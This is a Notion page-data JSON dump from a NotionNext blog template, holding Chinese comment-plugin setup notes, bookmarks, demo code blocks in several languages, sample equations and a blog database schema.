其中部署最便捷的当属 Cusdis 和 Utterance 这两个插件。您可以任选一个部署,当然,您也可以选择同时部署多个。 完成效果预览 点击Start for free ,并用Github登录即可 Sign in With Github (点击查看截图) [可选] 配置邮件通知地址,以便收到新评论时邮件通知您,(点击展开截图) 点击Embed Code获取您的应用ID,即data-app-id, 复制这串id备用。 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_CUSDIS_APP_ID,值为上面获取到的data-app-id。 完成预览效果 在您的Github中创建一个开源项目用于存放评论 在github中安装utterance插件 允许utterance访问所有仓库,并勾选install,可以只勾选作为评论用的仓库地址。 将用作评论仓库名添加到Vercel添加环境变量 后台 settings→ environment variables → 添加 → save 即可。如下图: 注意, 仓库名的格式是 [您的用户名/您的仓库名] 如下示例 完成预览效果 在您的Github中创建一个开源项目用于存放评论 创建一个授权秘钥,并保存您的ClientID与ClientSecret Authorization callback URL 填写您网站域名 填写配置的效果 ,点击 register application 即可创建。 点击 Generate a new client secret 生成您的密码 复制 Client ID和刚生成的 Client secret (对应图中2和3)备用。 在Vercel后台配置环境变量 NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET 项目会在您的Github项目讨论区创建评论数据,便于维护管理 , 完成效果 预览 您可以在Github的Discusstion讨论区随时管理评论。 在您的Github中创建一个开源项目用于存放评论 在项目Setting中开启discussion功能 在Github中安装giscus应用 点击右上方的Install即可,并确认 允许访问仓库数据权限: 默认勾选All repositories即可。也可以只勾选用作评论的仓库,(后续还可以再回来配置) 访问Giscus填写并获取您的Giscus配置参数 主要配置输入您的仓库名,并选择 Discussion分类为 Announcements ."]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://tangly1024.com/bg_image.jpg","copied_from_pointer":{"id":"83caa5ef-f141-412a-a469-542d934d7147","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"83caa5ef-f141-412a-a469-542d934d7147"}},"24d6c0a0-f4d3-44dd-b749-4f048b962bcd":{"value":{"id":"24d6c0a0-f4d3-44dd-b749-4f048b962bcd","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notionnext-valine"]],"title":[["NotionNext配置Valine/Waline评论插件 | TANGLY's BLOG"]],"description":[["Valine插件需要LeanCloud后端提供数据库存储功能,请按照以下步骤配置。 而Waline 的前置步骤和Valine基本一致,只是多了一个部署Waline的Vercel服务步骤。由于Waline配置了完善的后台管理功能,所以使用Waline就不需要再配合Admin-Valine项目运行。 应用创建好以后,进入刚刚创建的应用,选择左下角的 设置> 应用Key,然后就能看到你的 APP ID和 APP Key 了: 为了你的数据安全,请设置自己的 安全域名 :只有以下设置的域名,才允许访问你的valine数据 支持的Valine配置在NotionNext项目的blog.config.js 中,请在Vercel后台的环境变量中配置: serverURLs在应用内部会尝试自动获取,如果发现获取失败,请手动提供 刚刚创建的应用,选择左下角的 设置> 应用Key,找到 Request 域名 第一行 需要在akismet中注册账号并获取免费的key: https://akismet.com/account ,并在LeanCloud中配置 AKISMET_KEY 变量 参考官方文档,在你的Vercel上部署一个valine应用。而后在你的NotionNext环境变量中添加你的waline服务地址环境变量: NEXT_PUBLIC_WALINE_SERVER_URL 即可生效。"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F10eb466a-599b-4513-bcbf-2331cf88078d%2Fpexels-photo-546819.webp?table=block&id=bee1fccf-a3bd-47a1-a7be-83cc71372d83&cache=v2","copied_from_pointer":{"id":"43105988-677b-4857-96be-272139671537","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"43105988-677b-4857-96be-272139671537"}},"58b92af2-69c7-4e70-b107-5b62363f7bf8":{"value":{"id":"58b92af2-69c7-4e70-b107-5b62363f7bf8","type":"text","format":{"copied_from_pointer":{"id":"517fd501-4fae-491e-89af-373bba175082","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"517fd501-4fae-491e-89af-373bba175082"}},"7a70e08b-725e-4db5-9f17-8dc53540f006":{"value":{"id":"7a70e08b-725e-4db5-9f17-8dc53540f006","type":"file","properties":{"size":[["469.5KB"]],"title":[["测试嵌入PDF.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F20ecd1ff-e4de-4471-b86f-6f14ec891fc0%2F%25E6%25B5%258B%25E8%25AF%2595%25E5%25B5%258C%25E5%2585%25A5PDF.pdf?table=block&id=7a70e08b-725e-4db5-9f17-8dc53540f006"]]},"format":{"copied_from_pointer":{"id":"a7d89bbd-87c6-4a4e-b49d-67339645680e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a7d89bbd-87c6-4a4e-b49d-67339645680e","file_ids":["20ecd1ff-e4de-4471-b86f-6f14ec891fc0"]}},"42e434d6-3a26-49f0-8405-04854616fc19":{"value":{"id":"42e434d6-3a26-49f0-8405-04854616fc19","type":"header","properties":{"title":[["引用文献"]]},"format":{"copied_from_pointer":{"id":"ea5f0b81-5dc2-4a8d-a210-3eca56193e38","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ea5f0b81-5dc2-4a8d-a210-3eca56193e38"}},"f862643d-1c2d-4678-9168-580da7e368dc":{"value":{"id":"f862643d-1c2d-4678-9168-580da7e368dc","type":"sub_sub_header","properties":{"title":[["1. 关于李白",[["a","https://zh.wikipedia.org/zh-sg/%E6%9D%8E%E7%99%BD"]]]]},"format":{"copied_from_pointer":{"id":"a47eb492-9c65-4ac4-b8c8-95d00023a97e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a47eb492-9c65-4ac4-b8c8-95d00023a97e"}},"573fc380-fb6b-434b-897f-3510f4c57832":{"value":{"id":"573fc380-fb6b-434b-897f-3510f4c57832","type":"text","properties":{"title":[["引用另一篇文章→"],["‣",[["p","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","6c096b44-beb9-48ee-8f92-1efdde47f3a3"]]],[" "]]},"format":{"copied_from_pointer":{"id":"ba59b0e1-f03b-414c-8f0e-91ab9c82ace5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ba59b0e1-f03b-414c-8f0e-91ab9c82ace5"}},"f5dd304c-8c81-40dc-ba37-9c1d7399e15e":{"value":{"id":"f5dd304c-8c81-40dc-ba37-9c1d7399e15e","type":"page","properties":{"NX\\Q":[["‣",[["d",{"type":"date","start_date":"2021-07-02"}]]]],"`gQ~":[["Post"]],"bB{M":[["知行合一"]],"d]hq":[["guide"]],"sD^m":[["文字,推荐"]],"wz|S":[["<- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"]],"title":[["模板说明"]],"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":[["Published"]]},"content":["579acad5-88b1-48b4-9663-be0acfce1b82","43904423-54d5-4b7a-99e1-c42e625c1a43","22dda7cc-3244-4b8e-b207-c2e4d19b880f","87cd6da6-69f3-47d4-aa17-030c57592d46","5ab0b635-8005-4cc8-a169-6e26bc440b19","4c27b110-b8c1-462b-b17d-6b83a532a460","84e4d603-68c8-4e86-8a2a-89bade71caa6","c8471935-a70e-4cab-9f10-9e6528bc4f36"],"format":{"page_font":"mono","page_icon":"📖","page_cover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"created_time":1685088343887,"last_edited_time":1709537040462,"parent_id":"4379bc14-5d22-453b-a153-12639616fc01","parent_table":"collection","alive":true,"copied_from":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"f993f0f3-96ef-436e-b3a6-2a32c9623c1c":{"value":{"id":"f993f0f3-96ef-436e-b3a6-2a32c9623c1c","type":"code","properties":{"title":[["ps -ef | grep java | awk '{print $2}' | xargs kill -9"]],"language":[["Bash"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"c7dacf97-8ced-4a63-bdd2-e812ceedb59d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"c7dacf97-8ced-4a63-bdd2-e812ceedb59d"}},"dc053857-d6b6-4106-9819-6545884c39ee":{"value":{"id":"dc053857-d6b6-4106-9819-6545884c39ee","type":"code","properties":{"title":[["@Test\npublic void test11() {\n\n  long start = System.currentTimeMillis();\n  int a = 0;\n  for(int i=0;i<1000000000;i++){\n      try {\n          a++;\n      }catch (Exception e){\n          e.printStackTrace();\n      }\n  }\n  long useTime = System.currentTimeMillis()-start;\n  System.out.println(\"useTime:\"+useTime);\n}"]],"language":[["Java"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"c1d99d5c-8f92-4ca2-8ca6-ac18f231f1a4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"c1d99d5c-8f92-4ca2-8ca6-ac18f231f1a4"}},"063756cd-6ec1-4081-85e3-4b92832a9cb4":{"value":{"id":"063756cd-6ec1-4081-85e3-4b92832a9cb4","type":"code","properties":{"title":[["#!/usr/bin/python3\nimport json\n \n# Python 字典类型转换为 JSON 对象\ndata = {\n    'no' : 1,\n    'name' : 'hello',\n    'url' : 'http://tangly1024.com'\n}\n \njson_str = json.dumps(data)\nprint (\"Python 原始数据:\", repr(data))\nprint (\"JSON 对象:\", json_str)"]],"language":[["Python"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"cfbb8514-5746-4091-b999-2866e4571a26","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"cfbb8514-5746-4091-b999-2866e4571a26"}},"cb1f9529-7659-4836-902b-9d15084eaa0a":{"value":{"id":"cb1f9529-7659-4836-902b-9d15084eaa0a","type":"code","properties":{"title":[["# R 语言\n#file.edit(path.expand(file.path(\"~\", \".Renviron\")))\nlibrary(telegram.bot)\nlibrary(stringr)\n# Initiate the bot session using the token from the enviroment variable.\nbot = Bot(token = bot_token('your_bot'))\nusr_list <- c(12344566, 12345566)"]],"language":[["R"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"36cb1cb7-d73c-4b90-82d3-dbb573207652","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"36cb1cb7-d73c-4b90-82d3-dbb573207652"}},"c7f0ee45-718e-4229-9f2f-b7c2fc7ad580":{"value":{"id":"c7f0ee45-718e-4229-9f2f-b7c2fc7ad580","type":"code","properties":{"title":[["html {\n\tbackground-color: red;\n}"]],"language":[["CSS"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"a8e425a6-ce5b-40dc-ab17-580a83415d55","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"a8e425a6-ce5b-40dc-ab17-580a83415d55"}},"88676695-452c-49cb-9d9c-0711d2f1f4be":{"value":{"id":"88676695-452c-49cb-9d9c-0711d2f1f4be","type":"code","properties":{"title":[["#include <iostream>\nusing namespace std;\n \n// main() 是程序开始执行的地方\n \nint main()\n{\n   cout << \"Hello World\"; // 输出 Hello World\n   return 0;\n}"]],"language":[["cpp"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"37cfbb5c-1b8e-4394-b6fe-a644a0ffc13b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"37cfbb5c-1b8e-4394-b6fe-a644a0ffc13b"}},"025fccd3-0e3c-4be1-85bb-1880edddeb65":{"value":{"id":"025fccd3-0e3c-4be1-85bb-1880edddeb65","type":"code","properties":{"title":[["using System;\nnamespace HelloWorldApplication\n{\n   class HelloWorld\n   {\n      static void Main(string[] args)\n      {\n         Console.WriteLine(\"Hello World\");\n         Console.ReadKey();\n      }\n   }\n}"]],"language":[["csharp"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"45b73aab-c9a1-4354-8b75-3e46b625dc1b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"45b73aab-c9a1-4354-8b75-3e46b625dc1b"}},"4d19c930-9e8b-4fc5-b273-19717fe62e33":{"value":{"id":"4d19c930-9e8b-4fc5-b273-19717fe62e33","type":"code","properties":{"title":[[".section __TEXT,__text,regular,pure_instructions\n.macosx_version_min 10, 13\n.globl _add_a_b\n.p2align 4, 0x90\n_add_a_b: ## @add_a_b\n.cfi_startproc\n## BB#0:\npushq %rbp\nLcfi0:\n.cfi_def_cfa_offset 16\nLcfi1:\n.cfi_offset %rbp, -16\nmovq %rsp, %rbp\nLcfi2:\n.cfi_def_cfa_register %rbp\nmovl %edi, -4(%rbp)\nmovl %esi, -8(%rbp)\nmovl -4(%rbp), %esi\naddl -8(%rbp), %esi\nmovl %esi, %eax\npopq %rbp\nretq\n.cfi_endproc\n\n.globl _main\n.p2align 4, 0x90\n_main: ## @main\n.cfi_startproc\n## BB#0:\npushq %rbp\nLcfi3:\n.cfi_def_cfa_offset 16\nLcfi4:\n.cfi_offset %rbp, -16\nmovq %rsp, %rbp\nLcfi5:\n.cfi_def_cfa_register %rbp\nsubq $16, %rsp\nmovl $1, %edi\nmovl $2, %esi\nmovl $0, -4(%rbp)\ncallq _add_a_b\naddq $16, %rsp\npopq %rbp\nretq\n.cfi_endproc"]],"language":[["asm6502"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"e2716bef-d213-4a69-8fb1-6ffaba898dc8","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_time":1705638991048,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"e2716bef-d213-4a69-8fb1-6ffaba898dc8"}},"583d808b-a380-4da7-a547-23a10d3fa5c8":{"value":{"id":"583d808b-a380-4da7-a547-23a10d3fa5c8","type":"equation","properties":{"title":[["\\begin{aligned}\nAACD \\Rightarrow AAAD &= \\frac 1 3\\\\ \nAACD \\Rightarrow AACD &= \\frac 1 3 + \\frac 1 6 = \\frac 1 2  \\\\ \nAACD \\Rightarrow AACC &= \\frac 1 6 \\end{aligned}"]]},"format":{"copied_from_pointer":{"id":"32375efe-705a-4363-9a7f-a5ec0c55ed18","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"32375efe-705a-4363-9a7f-a5ec0c55ed18"}},"7e94f6c0-5ab6-4778-9277-992fd5664f01":{"value":{"id":"7e94f6c0-5ab6-4778-9277-992fd5664f01","type":"equation","properties":{"title":[["\\begin{bmatrix}\n\t\tc_{0}&c_{n-1}&c_{n-2}&\\cdots &c_{1}\\\\\n\t\tc_{1}&c_{0}&c_{n-1} &  \\cdots &c_{2}\\\\\n\t\tc_{2}&c_{1}&c_{0}&\\cdots  &c_3 \\\\\n\t\t\\vdots &\\vdots& \\vdots&\\ddots &\\vdots \\\\\n\t\tc_{n-1}&c_{n-2}&c_{n-3}&\\dots &c_{0}\n\\end{bmatrix}"]]},"format":{"copied_from_pointer":{"id":"c9c7ad1d-e52e-4331-9152-f8adb04baa33","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"c9c7ad1d-e52e-4331-9152-f8adb04baa33"}},"52d5a916-ab83-448a-9f42-1a7ef92b2e19":{"value":{"id":"52d5a916-ab83-448a-9f42-1a7ef92b2e19","type":"equation","properties":{"title":[["\\begin{aligned} \\sin 2\\theta & = 2\\sin \\theta \\cos \\theta \\\\ & = \\cfrac{2 \\tan \\theta}{1+\\tan^2 \\theta} \\end{aligned}"]]},"format":{"copied_from_pointer":{"id":"1b202589-6640-472f-9f2d-3992d5e4d45a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"1b202589-6640-472f-9f2d-3992d5e4d45a"}},"68c4d878-bb42-4e06-baa5-635a4f804e97":{"value":{"id":"68c4d878-bb42-4e06-baa5-635a4f804e97","type":"text","format":{"copied_from_pointer":{"id":"e6f9b186-7a60-4e8a-8136-15cc230bdced","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"e6f9b186-7a60-4e8a-8136-15cc230bdced"}},"408dee57-e78b-4bff-b11d-dae0ffb56756":{"value":{"id":"408dee57-e78b-4bff-b11d-dae0ffb56756","type":"equation","properties":{"title":[["AACD\\Rightarrow \\left\\{\\begin{matrix}\n第1次取值 & 第2次取值 & 概率 & 最终状态\\\\\nA & C,D &= \\frac 1 2 \\times \\frac 2 3= \\frac 1 3 &\\Rightarrow AAAD \\\\ \nA & A &= \\frac 1 2 \\times \\frac 1 3= \\frac 1 6 &\\Rightarrow AACD \\\\ \nC,D & A &= 2 \\times \\frac 1 4 \\times \\frac 2 3= \\frac 1 3 &\\Rightarrow CCAD \\\\ \nC,D & C,D &= 2 \\times \\frac 1 4 \\times \\frac 1 3= \\frac 1 6 &\\Rightarrow CCAA\n\\end{matrix}\\right. "]]},"format":{"copied_from_pointer":{"id":"85681cf1-4c8b-4ceb-8752-d17c32acf930","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","parent_table":"block","alive":true,"copied_from":"85681cf1-4c8b-4ceb-8752-d17c32acf930"}},"02efa7b3-d1ce-40f7-9a23-f687b0046e4d":{"value":{"id":"02efa7b3-d1ce-40f7-9a23-f687b0046e4d","type":"toggle","properties":{"title":[["点击展开"]]},"content":["43b0eea5-af0c-4e07-a769-c247b1a00029"],"format":{"copied_from_pointer":{"id":"81a4b6d2-5997-4e4d-b0ae-fe1516bf00c1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"4748bbad-6dc8-4e84-ab43-96c076df3dd2","parent_table":"block","alive":true,"copied_from":"81a4b6d2-5997-4e4d-b0ae-fe1516bf00c1"}},"43b0eea5-af0c-4e07-a769-c247b1a00029":{"value":{"id":"43b0eea5-af0c-4e07-a769-c247b1a00029","type":"toggle","properties":{"title":[["点击展开"]]},"content":["a0318786-f5d2-4a58-8ccc-9d56bbe6b155"],"format":{"copied_from_pointer":{"id":"bbaeea0d-972a-42c1-a49f-3ab97ccb3903","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"02efa7b3-d1ce-40f7-9a23-f687b0046e4d","parent_table":"block","alive":true,"copied_from":"bbaeea0d-972a-42c1-a49f-3ab97ccb3903"}},"a0318786-f5d2-4a58-8ccc-9d56bbe6b155":{"value":{"id":"a0318786-f5d2-4a58-8ccc-9d56bbe6b155","type":"text","properties":{"title":[["内容可以多级嵌套"]]},"format":{"copied_from_pointer":{"id":"d4b91a6a-beae-488c-816a-b9f504b739fc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"43b0eea5-af0c-4e07-a769-c247b1a00029","parent_table":"block","alive":true,"copied_from":"d4b91a6a-beae-488c-816a-b9f504b739fc"}},"02f024a6-0fd0-4a05-b201-762f56287c1d":{"value":{"id":"02f024a6-0fd0-4a05-b201-762f56287c1d","type":"page","properties":{"YNJw":[["查看",[["a","https://preview.tangly1024.com/fc758ffac897479d9a7161cce3272520"]]]],"title":[["照片标题1"]]},"content":["797d2ded-5b17-45a2-a474-8a121fa12a3d"],"format":{"page_cover":"/images/page-cover/met_emanuel_leutze.jpg","copied_from_pointer":{"id":"fc758ffa-c897-479d-9a71-61cce3272520","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.7},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"7b11173d-8924-4a09-8897-50956378c0fc","parent_table":"collection","alive":true,"copied_from":"fc758ffa-c897-479d-9a71-61cce3272520"}},"c7f423be-6c39-4b76-a750-e7d7d92161fd":{"value":{"id":"c7f423be-6c39-4b76-a750-e7d7d92161fd","type":"page","properties":{"YNJw":[["https://tangly1024.com/",[["a","https://tangly1024.com/"]]]],"title":[["照片标题2"]]},"content":["198479d6-383d-4532-b0df-9c41bfaf66d8"],"format":{"page_cover":"/images/page-cover/woodcuts_5.jpg","copied_from_pointer":{"id":"77e3d7d4-bd0f-41dd-9aaf-3f0b99f2e04d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"7b11173d-8924-4a09-8897-50956378c0fc","parent_table":"collection","alive":true,"copied_from":"77e3d7d4-bd0f-41dd-9aaf-3f0b99f2e04d"}},"797d2ded-5b17-45a2-a474-8a121fa12a3d":{"value":{"id":"797d2ded-5b17-45a2-a474-8a121fa12a3d","type":"text","properties":{"title":[["这是照片内容详情"]]},"format":{"copied_from_pointer":{"id":"ceaa6aaa-d200-4100-a0a7-d23ae49b2eef","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"02f024a6-0fd0-4a05-b201-762f56287c1d","parent_table":"block","alive":true,"copied_from":"ceaa6aaa-d200-4100-a0a7-d23ae49b2eef"}},"198479d6-383d-4532-b0df-9c41bfaf66d8":{"value":{"id":"198479d6-383d-4532-b0df-9c41bfaf66d8","type":"text","properties":{"title":[["这是照片详情的内容"]]},"format":{"copied_from_pointer":{"id":"ebff1c93-27e9-445d-876f-3967f072ec15","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"c7f423be-6c39-4b76-a750-e7d7d92161fd","parent_table":"block","alive":true,"copied_from":"ebff1c93-27e9-445d-876f-3967f072ec15"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-